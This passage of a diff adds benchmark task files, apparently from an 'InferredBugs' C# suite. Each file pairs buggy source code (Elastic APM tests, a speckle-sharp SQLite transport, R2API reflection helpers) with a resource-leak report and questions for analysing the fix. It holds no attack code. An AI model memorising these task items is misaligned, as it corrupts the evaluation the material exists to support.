+			//According to the Intake API tags are stored on the Context (and not on Transaction.Tags directly).
+			Assert.Equal("bar", payloadSender.FirstTransaction.Context.Tags["foo"]);
+
+			//Also make sure the tag is visible directly on Transaction.Tags.
+			Assert.Equal("bar", payloadSender.Payloads[0].Transactions[0].Tags["foo"]);
+		}
+
+		/// <summary>
+		/// Asserts on 1 transaction with async code
+		/// </summary>
+		private async Task<MockPayloadSender> AssertWith1TransactionAsync(Func<ApmAgent, Task> func)
+		{
+			var payloadSender = new MockPayloadSender();
+			var agent = new ApmAgent(new TestAgentComponents(payloadSender: payloadSender));
+
+			await func(agent);
+
+			Assert.NotEmpty(payloadSender.Payloads);
+			Assert.NotEmpty(payloadSender.Payloads[0].Transactions);
+
+			Assert.Equal(TransactionName, payloadSender.Payloads[0].Transactions[0].Name);
+			Assert.Equal(TransactionType, payloadSender.Payloads[0].Transactions[0].Type);
+
+			var duration = payloadSender.FirstTransaction.Duration;
+			Assert.True(duration >= SleepLength, $"Expected {duration} to be greater or equal to: {SleepLength}");
+			return payloadSender;
+		}
+
+		/// <summary>
+		/// Asserts on 1 async transaction and 1 error
+		/// </summary>
+		private async Task<MockPayloadSender> AssertWith1TransactionAnd1ErrorAsync(Func<ApmAgent, Task> func)
+		{
+			var payloadSender = new MockPayloadSender();
+			var agent = new ApmAgent(new TestAgentComponents(payloadSender: payloadSender));
+
+			await func(agent);
+
+			Assert.NotEmpty(payloadSender.Payloads);
+			Assert.NotEmpty(payloadSender.Payloads[0].Transactions);
+
+			Assert.Equal(TransactionName, payloadSender.Payloads[0].Transactions[0].Name);
+			Assert.Equal(TransactionType, payloadSender.Payloads[0].Transactions[0].Type);
+
+			var duration = payloadSender.Payloads[0].Transactions[0].Duration;
+			Assert.True(duration >= SleepLength, $"Expected {duration} to be greater or equal to: {SleepLength}");
+
+			Assert.NotEmpty(payloadSender.Errors);
+			Assert.NotEmpty(payloadSender.Errors[0].Errors);
+
+			Assert.Equal(typeof(InvalidOperationException).FullName, payloadSender.Errors[0].Errors[0].Exception.Type);
+			Assert.Equal(ExceptionMessage, payloadSender.Errors[0].Errors[0].Exception.Message);
+			return payloadSender;
+		}
+
+		/// <summary>
+		/// Asserts on 1 transaction
+		/// </summary>
+		private MockPayloadSender AssertWith1Transaction(Action<ApmAgent> action)
+		{
+			var payloadSender = new MockPayloadSender();
+			var agent = new ApmAgent(new TestAgentComponents(payloadSender: payloadSender));
+
+			action(agent);
+
+			Assert.NotEmpty(payloadSender.Payloads);
+			Assert.NotEmpty(payloadSender.Payloads[0].Transactions);
+
+			Assert.Equal(TransactionName, payloadSender.Payloads[0].Transactions[0].Name);
+			Assert.Equal(TransactionType, payloadSender.Payloads[0].Transactions[0].Type);
+
+			var duration = payloadSender.Payloads[0].Transactions[0].Duration;
+			Assert.True(duration >= SleepLength, $"Expected {duration} to be greater or equal to: {SleepLength}");
+
+			return payloadSender;
+		}
+
+		/// <summary>
+		/// Asserts on 1 transaction and 1 error
+		/// </summary>
+		private void AssertWith1TransactionAnd1Error(Action<ApmAgent> action)
+		{
+			var payloadSender = new MockPayloadSender();
+			var agent = new ApmAgent(new TestAgentComponents(payloadSender: payloadSender));
+
+			action(agent);
+
+			Assert.NotEmpty(payloadSender.Payloads);
+			Assert.NotEmpty(payloadSender.Payloads[0].Transactions);
+
+			Assert.Equal(TransactionName, payloadSender.Payloads[0].Transactions[0].Name);
+			Assert.Equal(TransactionType, payloadSender.Payloads[0].Transactions[0].Type);
+
+			Assert.True(payloadSender.Payloads[0].Transactions[0].Duration >= SleepLength);
+
+
+			Assert.NotEmpty(payloadSender.Errors);
+			Assert.NotEmpty(payloadSender.Errors[0].Errors);
+
+			Assert.Equal(typeof(InvalidOperationException).FullName, payloadSender.Errors[0].Errors[0].Exception.Type);
+			Assert.Equal(ExceptionMessage, payloadSender.Errors[0].Errors[0].Exception.Message);
+		}
+	}
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource agent of type Elastic.Apm.ApmAgent, Leaked resource (output of Elastic.Apm.Tests.Mocks.TestAgentComponents::.ctor() at Line 524) of type Elastic.Apm.AgentComponents in method "MockPayloadSender ConvenientApiTransactionTests.AssertWith1Transaction(Action`1<!0>)".
+
+### Severity:
+ERROR
+
+### Procedure:
+MockPayloadSender ConvenientApiTransactionTests.AssertWith1Transaction(Action`1<!0>)
+
+### File:
+test/Elastic.Apm.Tests/ApiTests/ConvenientApiTransactionTests.cs
+
+### Key:
+ConvenientApiTransactionTests.cs|AssertWith1Transaction|DOTNET_RESOURCE_LEAK
+
+### Hash:
+90850b0928d21b123521ccec4af878e1
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0500/instruction.md b/inferredbugs-0500/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1c51384122b45f7f8f7c273739d0afc2cef57b44
--- /dev/null
+++ b/inferredbugs-0500/instruction.md
@@ -0,0 +1,300 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** speckle-sharp
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Data.SQLite;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Timers;
+
+namespace Speckle.Transports
+{
+  // TODO: Investigate partitioning the object tables by the first two hash charaters. 
+  public class SqlLiteObjectTransport : IDisposable, ITransport
+  {
+    public string TransportName { get; set; } = "LocalTransport";
+
+    public string RootPath { get; set; }
+    public string ConnectionString { get; set; }
+
+    private SQLiteConnection Connection { get; set; }
+
+    private Dictionary<string, string> Buffer = new Dictionary<string, string>();
+    private System.Timers.Timer WriteTimer;
+    private int TotalElapsed = 0, PollInterval = 100;
+    private bool IsWriting = false;
+
+    private int MAX_BUFFER_SIZE = 5000000; // 5 mb
+    private int CURR_BUFFER_SIZE = 0;
+
+    public SqlLiteObjectTransport(string basePath = null, string applicationName = "Speckle", string scope = "Objects")
+    {
+      if (basePath == null)
+        basePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
+
+      RootPath = Path.Combine(basePath, applicationName, $"{scope}.db");
+      ConnectionString = $@"URI=file:{RootPath};";
+
+      InitializeTables();
+
+      WriteTimer = new System.Timers.Timer() { AutoReset = true, Enabled = false, Interval = PollInterval };
+      WriteTimer.Elapsed += WriteTimerElapsed;
+    }
+
+    private void InitializeTables()
+    {
+
+      // NOTE: used for creating partioned object tables.
+      //string[] HexChars = new string[] { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f" };
+      //var cart = new List<string>();
+      //foreach (var str in HexChars)
+      //  foreach (var str2 in HexChars)
+      //    cart.Add(str + str2);
+
+      Connection = new SQLiteConnection(ConnectionString);
+      Connection.Open();
+      using (var command = new SQLiteCommand(Connection))
+      {
+        command.CommandText = @"
+            CREATE TABLE IF NOT EXISTS objects(
+              hash TEXT PRIMARY KEY,
+              content TEXT
+            ) WITHOUT ROWID;
+          ";
+        command.ExecuteNonQuery();
+      }
+
+      // Insert Optimisations
+
+      SQLiteCommand cmd;
+      cmd = new SQLiteCommand("PRAGMA journal_mode=MEMORY;", Connection);
+      cmd.ExecuteNonQuery();
+
+      cmd = new SQLiteCommand("PRAGMA synchronous=OFF;", Connection);
+      cmd.ExecuteNonQuery();
+
+      cmd = new SQLiteCommand("PRAGMA count_changes=OFF;", Connection);
+      cmd.ExecuteNonQuery();
+
+      cmd = new SQLiteCommand("PRAGMA temp_store=MEMORY;", Connection);
+      cmd.ExecuteNonQuery();
+    }
+
+    #region Writes
+
+    public async Task WriteComplete()
+    {
+      await Utilities.WaitUntil(() => { return CURR_BUFFER_SIZE == 0; }, 100);
+    }
+
+    private void WriteTimerElapsed(object sender, ElapsedEventArgs e)
+    {
+      TotalElapsed += PollInterval;
+      if (TotalElapsed > 500)
+      {
+        TotalElapsed = 0;
+        WriteTimer.Enabled = false;
+        WriteBuffer();
+      }
+    }
+
+    private void WriteBuffer()
+    {
+      lock (Buffer)
+      {
+        if (Buffer.Count == 0) return;
+        IsWriting = true;
+        using (var t = Connection.BeginTransaction())
+        {
+          using (var command = new SQLiteCommand(Connection))
+          {
+            command.CommandText = $"INSERT OR IGNORE INTO objects(hash, content) VALUES(@hash, @content)";
+            foreach (var kvp in Buffer)
+            {
+              command.Parameters.AddWithValue("@hash", kvp.Key);
+              command.Parameters.AddWithValue("@content", Utilities.CompressString(kvp.Value));
+              command.ExecuteNonQuery();
+            }
+          }
+          t.Commit();
+        }
+        Buffer.Clear();
+        TotalElapsed = 0;
+        CURR_BUFFER_SIZE = 0;
+        IsWriting = false;
+      }
+    }
+
+    /// <summary>
+    /// Adds the object into a buffer that will be written to the db later.
+    /// </summary>
+    /// <param name="hash"></param>
+    /// <param name="serializedObject"></param>
+    /// <param name="overwrite"></param>
+    public void SaveObject(string hash, string serializedObject, bool owerite = false)
+    {
+      CURR_BUFFER_SIZE += System.Text.Encoding.UTF8.GetByteCount(serializedObject);
+
+      lock (Buffer)
+      {
+        Buffer.Add(hash, serializedObject);
+      }
+
+      if (CURR_BUFFER_SIZE > MAX_BUFFER_SIZE)
+      {
+        WriteBuffer();
+      }
+      else
+      {
+        WriteTimer.Enabled = true;
+        WriteTimer.Start();
+      }
+    }
+
+    /// <summary>
+    /// Directly saves the object in the db.
+    /// </summary>
+    /// <param name="hash"></param>
+    /// <param name="serializedObject"></param>
+    public void SaveObjectSync(string hash, string serializedObject)
+    {
+      using (var command = new SQLiteCommand(Connection))
+      {
+        command.CommandText = $"INSERT OR IGNORE INTO objects(hash, content) VALUES(@hash, @content)";
+        command.Parameters.AddWithValue("@hash", hash);
+        command.Parameters.AddWithValue("@content", Utilities.CompressString(serializedObject));
+        command.ExecuteNonQuery();
+      }
+    }
+
+    /// <summary>
+    /// Directly saves the objects into the db.
+    /// </summary>
+    /// <param name="objects"></param>
+    /// <returns></returns>
+    public async Task SaveObjects(IEnumerable<(string, string)> objects)
+    {
+      using (var t = Connection.BeginTransaction())
+      {
+        using (var command = new SQLiteCommand(Connection))
+        {
+          foreach (var (hash, content) in objects)
+          {
+            command.CommandText = $"INSERT OR IGNORE INTO objects(hash, content) VALUES(@hash, @content)";
+            command.Parameters.AddWithValue("@hash", hash);
+            command.Parameters.AddWithValue("@content", Utilities.CompressString(content));
+            command.ExecuteNonQuery();
+          }
+        }
+        await t.CommitAsync();
+        return;
+      }
+    }
+
+    #endregion
+
+    #region Reads
+
+    public string GetObject(string hash)
+    {
+      using (var command = new SQLiteCommand(Connection))
+      {
+        command.CommandText = "SELECT * FROM objects WHERE hash = @hash LIMIT 1 ";
+        command.Parameters.AddWithValue("@hash", hash);
+        var reader = command.ExecuteReader();
+        while (reader.Read())
+        {
+          return Utilities.DecompressString(reader.GetString(1));
+
+        }
+        throw new Exception("No object found");
+      }
+    }
+
+    public IEnumerable<string> GetObjects(IEnumerable<string> hashes)
+    {
+      //using (var command = new SQLiteCommand(Connection))
+      //{
+      //  command.CommandText = "SELECT * FROM objects WHERE hash = @hash LIMIT 1 ";
+      //  command.Parameters.AddWithValue("@hash", hash);
+      //  var reader = command.ExecuteReader();
+      //  while (reader.Read())
+      //  {
+      //    yield return Utilities.DecompressString(reader.GetString(1));
+      //  }
+      //  throw new Exception("No object found");
+      //}
+      throw new NotImplementedException();
+    }
+
+    #endregion
+
+    public void Dispose()
+    {
+      lock (Buffer) // wait for a lock on the buffer, in case the timer is now executing
+      {
+        Connection.Close();
+        Connection.Dispose();
+      }
+    }
+  }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource cmd of type System.Data.SQLite.SQLiteCommand, Leaked resource (output of System.Data.SQLite.SQLiteConnection::.ctor() at Line 54) of type System.Data.SQLite.SQLiteConnection in method "Void SqlLiteObjectTransport.InitializeTables()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void SqlLiteObjectTransport.InitializeTables()
+
+### File:
+Speckle/Transports/SQLiteTransport.cs
+
+### Key:
+SQLiteTransport.cs|InitializeTables|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f475e5e92468b34ec35a6e5936c697e1
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0507/instruction.md b/inferredbugs-0507/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7d79db6d33b7e7b2c25c2e84c64149937adbb737
--- /dev/null
+++ b/inferredbugs-0507/instruction.md
@@ -0,0 +1,956 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** R2API
+**Bug ID:** 5
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections;
+using System.Collections.Concurrent;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using Mono.Cecil.Cil;
+using MonoMod.Utils;
+
+namespace R2API.Utils {
+    public static class Reflection {
+
+        private const BindingFlags AllFlags = BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static |
+                                              BindingFlags.Instance | BindingFlags.DeclaredOnly;
+
+        private delegate T GetDelegate<out T>(object instance);
+
+        private delegate void SetDelegate<in T>(object instance, T value);
+
+        //private delegate object CallDelegate(object instance, object[] arguments);
+
+        private delegate void SetDelegateRef<TInstance, in TValue>(ref TInstance instance, TValue value) where TInstance : struct;
+
+        private delegate T GetDelegateRef<TInstance, out T>(ref TInstance instance) where TInstance : struct;
+
+        #region Caches
+
+        // Field
+        private static readonly ConcurrentDictionary<(Type T, string name), FieldInfo> FieldCache =
+            new ConcurrentDictionary<(Type T, string name), FieldInfo>();
+
+        private static readonly ConcurrentDictionary<FieldInfo, Delegate> FieldGetDelegateCache =
+            new ConcurrentDictionary<FieldInfo, Delegate>();
+
+        private static readonly ConcurrentDictionary<FieldInfo, Delegate> FieldSetDelegateCache =
+            new ConcurrentDictionary<FieldInfo, Delegate>();
+
+
+        // Property
+        private static readonly ConcurrentDictionary<(Type T, string name), PropertyInfo> PropertyCache =
+            new ConcurrentDictionary<(Type T, string name), PropertyInfo>();
+
+        private static readonly ConcurrentDictionary<PropertyInfo, Delegate> PropertyGetDelegateCache =
+            new ConcurrentDictionary<PropertyInfo, Delegate>();
+
+        private static readonly ConcurrentDictionary<PropertyInfo, Delegate> PropertySetDelegateCache =
+            new ConcurrentDictionary<PropertyInfo, Delegate>();
+
+
+        // Method
+        private static readonly ConcurrentDictionary<(Type T, string name), MethodInfo> MethodCache =
+            new ConcurrentDictionary<(Type T, string name), MethodInfo>();
+
+        private static readonly ConcurrentDictionary<(Type T, string name, Type[] argumentTypes), MethodInfo>
+            OverloadedMethodCache =
+                new ConcurrentDictionary<(Type T, string name, Type[] argumentTypes), MethodInfo>();
+
+        private static readonly ConcurrentDictionary<MethodInfo, FastReflectionDelegate> DelegateCache =
+            new ConcurrentDictionary<MethodInfo, FastReflectionDelegate>();
+
+
+        // Class
+        private static readonly ConcurrentDictionary<(Type T, Type[] argumentTypes), ConstructorInfo> ConstructorCache =
+            new ConcurrentDictionary<(Type T, Type[] argumentTypes), ConstructorInfo>();
+
+        private static readonly ConcurrentDictionary<(Type T, string name), Type> NestedTypeCache =
+            new ConcurrentDictionary<(Type T, string name), Type>();
+
+
+        // Helper methods
+        private static TValue GetOrAddOnNull<TKey, TValue>(this ConcurrentDictionary<TKey, TValue> dict, TKey key,
+            Func<TKey, TValue> factory) {
+            if (dict.TryGetValue(key, out var val) && val != null)
+                return val;
+
+            return dict[key] = factory(key);
+        }
+
+        #endregion
+
+        #region Field
+
+        /// <summary>
+        /// Gets the <see cref="FieldInfo"/> of the type by name and caches it
+        /// </summary>
+        /// <typeparam name="T">The type to search</typeparam>
+        /// <param name="name">The name of the field to find</param>
+        /// <returns></returns>
+        public static FieldInfo GetFieldCached<T>(string name) =>
+            typeof(T).GetFieldCached(name);
+
+        /// <summary>
+        /// Gets the <see cref="FieldInfo" /> of the type by name and caches it
+        /// </summary>
+        /// <param name="T">The type to search</param>
+        /// <param name="name">The name of the field to find</param>
+        /// <returns></returns>
+        public static FieldInfo GetFieldCached(this Type T, string name) =>
+            FieldCache.GetOrAddOnNull((T, name), x => x.T.GetFieldFull(x.name)
+                ?? throw new Exception($"Could not find {nameof(FieldInfo)} on {T.FullName} with the name {name}"));
+
+
+        /// <summary>
+        /// Gets the value of the field on the object
+        /// </summary>
+        /// <typeparam name="TReturn">The type of the return value</typeparam>
+        /// <param name="fieldName">The name of the field to get the value of</param>
+        /// <param name="instance">The object to get the field's value from</param>
+        /// <returns></returns>
+        public static TReturn GetFieldValue<TReturn>(this object instance, string fieldName) =>
+            instance.GetType()
+                .GetFieldCached(fieldName)
+                .GetFieldGetDelegate<TReturn>()
+                (instance);
+
+        /// <summary>
+        /// Gets the value of the specified static field on the specified static type
+        /// </summary>
+        /// <typeparam name="TReturn">The return type</typeparam>
+        /// <param name="staticType">The name of the static field to get the value of</param>
+        /// <param name="fieldName">The type to get the specified static field's value on</param>
+        /// <returns></returns>
+        public static TReturn GetFieldValue<TReturn>(this Type staticType, string fieldName) =>
+            staticType
+                .GetFieldCached(fieldName)
+                .GetFieldGetDelegate<TReturn>()
+                (null);
+
+        /// <summary>
+        /// Sets the value of the specified field on the specified object; if the object is a struct use
+        /// <see cref="SetStructFieldValue{TInstance, TValue}(ref TInstance, string, TValue)"/> instead
+        /// </summary>
+        /// <typeparam name="TValue">The type of the value to set</typeparam>
+        /// <param name="instance">The name of the field to set the value of</param>
+        /// <param name="fieldName">The type to set the specified field's value on</param>
+        /// <param name="value">The value to set</param>
+        /// <returns></returns>
+        public static void SetFieldValue<TValue>(this object instance, string fieldName, TValue value) =>
+            instance.GetType()
+                .GetFieldCached(fieldName)
+                .GetFieldSetDelegate<TValue>()
+                (instance, value);
+
+        /// <summary>
+        /// Sets the value of the specified static field on the specified static type
+        /// </summary>
+        /// <typeparam name="TValue">The type of the value to set</typeparam>
+        /// <param name="staticType">The name of the static field to set the value of</param>
+        /// <param name="fieldName">The type to set the specified static field's value on</param>
+        /// <param name="value">The value to set</param>
+        /// <returns></returns>
+        public static void SetFieldValue<TValue>(this Type staticType, string fieldName, TValue value) =>
+            staticType
+                .GetFieldCached(fieldName)
+                .GetFieldSetDelegate<TValue>()
+                (null, value);
+
+        /// <summary>
+        /// Sets the value of the specified field on the specified struct
+        /// </summary>
+        /// <typeparam name="TInstance">The type of the instance of the struct</typeparam>
+        /// <typeparam name="TValue">The type of the value to set</typeparam>
+        /// <param name="instance">The name of the field to set the value of</param>
+        /// <param name="fieldName">The type to set the specified field's value on</param>
+        /// <param name="value">The value to set the field to</param>
+        /// <returns></returns>
+        public static void SetStructFieldValue<TInstance, TValue>(this ref TInstance instance, string fieldName, TValue value)
+            where TInstance : struct =>
+            typeof(TInstance)
+                .GetFieldCached(fieldName)
+                .GetFieldSetDelegateRef<TInstance, TValue>()
+                (ref instance, value);
+
+
+        /// <summary>
+        /// Gets the <see cref="FieldInfo"/> on the specified <see cref="Type"/> and searches base types if not found.
+        /// </summary>
+        /// <param name="T">The <see cref="Type"/> to search and get base types from</param>
+        /// <param name="name">The name of the property to search for.</param>
+        /// <returns></returns>
+        private static FieldInfo GetFieldFull(this Type T, string name) {
+            while (T != null) {
+                var fieldInfo = T.GetField(name, AllFlags);
+                if (fieldInfo != null) {
+                    return fieldInfo;
+                }
+
+                T = T.BaseType;
+            }
+
+            return null;
+        }
+
+        private static T GetMemberFull<T>(this Type type, string name) where T : MemberInfo {
+            while (type != null) {
+                var fieldInfo = type.GetMember(name, AllFlags);
+                if (fieldInfo != null) {
+                    return (T)fieldInfo.First();
+                }
+
+                type = type.BaseType;
+            }
+
+            return null;
+        }
+
+        private static GetDelegate<TReturn> GetFieldGetDelegate<TReturn>(this FieldInfo field) =>
+            FieldGetDelegateCache.GetOrAdd(field, x => x.CreateGetDelegate<TReturn>())
+                .CastDelegate<GetDelegate<TReturn>>();
+
+        private static SetDelegate<TValue> GetFieldSetDelegate<TValue>(this FieldInfo field) =>
+            FieldSetDelegateCache.GetOrAdd(field, x => x.CreateSetDelegate<TValue>())
+                .CastDelegate<SetDelegate<TValue>>();
+
+        private static SetDelegateRef<TInstance, TValue> GetFieldSetDelegateRef<TInstance, TValue>(this FieldInfo field) where TInstance : struct =>
+            FieldSetDelegateCache.GetOrAdd(field, x => x.CreateSetDelegateRef<TInstance, TValue>())
+                .CastDelegate<SetDelegateRef<TInstance, TValue>>();
+
+        #endregion
+
+        #region Property
+
+        /// <summary>
+        /// Gets the <see cref="PropertyInfo"/> of the type by name
+        /// </summary>
+        /// <typeparam name="T">The type on which to find the property</typeparam>
+        /// <param name="name">The name of the property to get</param>
+        /// <returns></returns>
+        public static PropertyInfo GetPropertyCached<T>(string name) =>
+            typeof(T).GetPropertyCached(name);
+
+        /// <summary>
+        /// Gets the <see cref="PropertyInfo"/> of the type by name
+        /// </summary>
+        /// <param name="T">The type to get the <see cref="PropertyInfo"/> from</param>
+        /// <param name="name">The name of the property to get</param>
+        /// <returns></returns>
+        public static PropertyInfo GetPropertyCached(this Type T, string name) =>
+            PropertyCache.GetOrAddOnNull((T, name), x => x.T.GetProperty(x.name, AllFlags));
+
+        /// <summary>
+        /// Gets the value of the property on the specified object; if the object is a struct use
+        /// <see cref="GetStructPropertyValue{TInstance, TValue}(ref TInstance, string)"></see> instead
+        /// </summary>
+        /// <typeparam name="TReturn">The type of the return value</typeparam>
+        /// <param name="instance">The object to get the property's value from</param>
+        /// <param name="propName">The name of the field to get the value of</param>
+        /// <returns></returns>
+        public static TReturn GetPropertyValue<TReturn>(this object instance, string propName) =>
+            instance.GetType()
+                .GetPropertyCached(propName)
+                .GetPropertyGetDelegate<TReturn>()
+                (instance);
+
+        /// <summary>
+        /// Gets the value of the static property on the specified static type
+        /// </summary>
+        /// <typeparam name="TReturn">The return type</typeparam>
+        /// <param name="staticType">The name of the static field to get the value of</param>
+        /// <param name="propName">The type to get the specified static property's value on</param>
+        /// <returns></returns>
+        public static TReturn GetPropertyValue<TReturn>(this Type staticType, string propName) =>
+            staticType
+                .GetPropertyCached(propName)
+                .GetPropertyGetDelegate<TReturn>()
+                (null);
+
+        /// <summary>
+        /// Sets the value of the property on the specified class; if you're setting the property on a
+        /// struct use <see cref="SetStructPropertyValue{TInstance, TValue}(ref TInstance, string, TValue)"/> instead
+        /// </summary>
+        /// <typeparam name="TValue">The type of the value to set</typeparam>
+        /// <param name="instance">The name of the field to set the value of</param>
+        /// <param name="propName">The type to set the specified property's value on</param>
+        /// <param name="value">The value to set</param>
+        /// <returns></returns>
+        public static void SetPropertyValue<TValue>(this object instance, string propName, TValue value) =>
+            instance.GetType()
+                .GetPropertyCached(propName)?
+                .GetPropertySetDelegate<TValue>()
+                (instance, value);
+
+        /// <summary>
+        /// Sets the value of the static property on the specified static class
+        /// </summary>
+        /// <typeparam name="TValue">The type of the value to set</typeparam>
+        /// <param name="staticType">The name of the static field to set the value of</param>
+        /// <param name="propName">The type to set the specified static property's value on</param>
+        /// <param name="value">The value to set the property to</param>
+        /// <returns></returns>
+        public static void SetPropertyValue<TValue>(this Type staticType, string propName, TValue value) =>
+            staticType.GetPropertyCached(propName)?
+                .GetPropertySetDelegate<TValue>()
+                (null, value);
+
+        /// <summary>
+        /// Sets the value of the specified property on the specified struct
+        /// </summary>
+        /// <typeparam name="TInstance">The type of the instance of the struct</typeparam>
+        /// <typeparam name="TValue">The type of the value to set</typeparam>
+        /// <param name="instance">The name of the field to set the value of</param>
+        /// <param name="propName">The type to set the specified property's value on</param>
+        /// <param name="value">The value to set the property to</param>
+        /// <returns></returns>
+        public static void SetStructPropertyValue<TInstance, TValue>(this ref TInstance instance, string propName,
+            TValue value)
+            where TInstance : struct =>
+            typeof(TInstance)
+                .GetPropertyCached(propName)
+                .GetPropertySetDelegateRef<TInstance, TValue>()
+                (ref instance, value);
+
+        /// <summary>
+        /// Gets the value of the specified property on the specified struct
+        /// </summary>
+        /// <typeparam name="TInstance">The type of the struct</typeparam>
+        /// <typeparam name="TValue">The type of the value to set</typeparam>
+        /// <param name="instance">The name of the field to set the value of</param>
+        /// <param name="propName">The type to set the specified property's value on</param>
+        /// <returns></returns>
+        public static TValue GetStructPropertyValue<TInstance, TValue>(this ref TInstance instance, string propName)
+            where TInstance : struct =>
+            typeof(TInstance)
+                .GetPropertyCached(propName)
+                .GetPropertyGetDelegateRef<TInstance, TValue>()
+                (ref instance);
+
+        private static GetDelegate<TReturn> GetPropertyGetDelegate<TReturn>(this PropertyInfo property) =>
+            PropertyGetDelegateCache.GetOrAdd(property, prop => prop.CreateGetDelegate<TReturn>())
+                .CastDelegate<GetDelegate<TReturn>>();
+
+        private static GetDelegateRef<TInstance, TReturn> GetPropertyGetDelegateRef<TInstance, TReturn>(this PropertyInfo property)
+            where TInstance : struct =>
+            PropertyGetDelegateCache.GetOrAdd(property, prop => prop.CreateGetDelegate<TInstance, TReturn>())
+                .CastDelegate<GetDelegateRef<TInstance, TReturn>>();
+
+        private static SetDelegate<TValue> GetPropertySetDelegate<TValue>(this PropertyInfo property) =>
+            PropertySetDelegateCache.GetOrAdd(property, prop => prop.CreateSetDelegate<TValue>())
+                .CastDelegate<SetDelegate<TValue>>();
+
+        private static SetDelegateRef<TInstance, TValue> GetPropertySetDelegateRef<TInstance, TValue>(
+            this PropertyInfo property)
+            where TInstance : struct =>
+            PropertySetDelegateCache.GetOrAdd(property, prop => prop.CreateSetDelegateRef<TInstance, TValue>())
+                .CastDelegate<SetDelegateRef<TInstance, TValue>>();
+
+        #endregion
+
+        #region Method
+
+        /// <summary>
+        /// Gets the method on the specified type and caches it
+        /// </summary>
+        /// <typeparam name="T">The type to search</typeparam>
+        /// <param name="name">The name of the method to find</param>
+        /// <returns></returns>
+        public static MethodInfo GetMethodCached<T>(string name) =>
+            typeof(T).GetMethodCached(name);
+
+        /// <summary>
+        /// Gets the method on the specified static type and caches it
+        /// </summary>
+        /// <param name="T">The type to search</param>
+        /// <param name="name">The name of the method to find</param>
+        /// <returns></returns>
+        public static MethodInfo GetMethodCached(this Type T, string name) =>
+            MethodCache.GetOrAddOnNull((T, name), x => x.T.GetMethod(x.name, AllFlags)
+                ?? throw new Exception($"Could not find {nameof(MethodInfo)} on {T.FullName} with the name {name}"));
+
+        /// <summary>
+        /// Gets the method on the specified type and caches it. This overload is used when the method is ambiguous
+        /// </summary>
+        /// <typeparam name="T">The type to search</typeparam>
+        /// <param name="name">The name of the method to find</param>
+        /// <param name="argumentTypes">The types of the argument</param>
+        /// <returns></returns>
+        public static MethodInfo GetMethodCached<T>(string name, Type[] argumentTypes) =>
+            typeof(T).GetMethodCached(name, argumentTypes);
+
+        /// <summary>
+        /// Gets the method on the specified static type and caches it. This overload is used when the method is ambiguous
+        /// </summary>
+        /// <param name="T">The type to search</param>
+        /// <param name="name">The name of the method to find</param>
+        /// <param name="argumentTypes">The types of the argument</param>
+        public static MethodInfo GetMethodCached(this Type T, string name, Type[] argumentTypes) =>
+            OverloadedMethodCache.GetOrAddOnNull((T, name, argumentTypes),
+                x => x.T.GetMethod(x.name, AllFlags, null, x.argumentTypes, null)
+                     ?? throw new Exception($"Could not find {nameof(MethodInfo)} on {T.FullName} with the name {name} and arguments: " +
+                                            $"{string.Join(",", argumentTypes.Select(a => a.FullName))}"));
+
+        /// <summary>
+        /// Invoke a method on the specified object by name
+        /// </summary>
+        /// <typeparam name="TReturn">The return type of the method</typeparam>
+        /// <param name="instance">The object to invoke the method on</param>
+        /// <param name="methodName">The name of the method to invoke</param>
+        /// <returns></returns>
+        public static TReturn InvokeMethod<TReturn>(this object instance, string methodName) =>
+            instance.InvokeMethod<TReturn>(methodName, null);
+
+        /// <summary>
+        /// Invoke a static method on the specified type by name
+        /// </summary>
+        /// <typeparam name="TReturn">The return type of the method</typeparam>
+        /// <param name="staticType">The static type to search</param>
+        /// <param name="methodName">The name of the method to invoke</param>
+        /// <returns></returns>
+        public static TReturn InvokeMethod<TReturn>(this Type staticType, string methodName) =>
+            staticType.InvokeMethod<TReturn>(methodName, null);
+
+        /// <summary>
+        /// Invoke a method on the specified object by name
+        /// </summary>
+        /// <param name="instance">The object to invoke the method on</param>
+        /// <param name="methodName">The name of the method to invoke</param>
+        public static void InvokeMethod(this object instance, string methodName) =>
+            instance.InvokeMethod<object>(methodName);
+
+        /// <summary>
+        /// Invoke a static method on the specified type by name
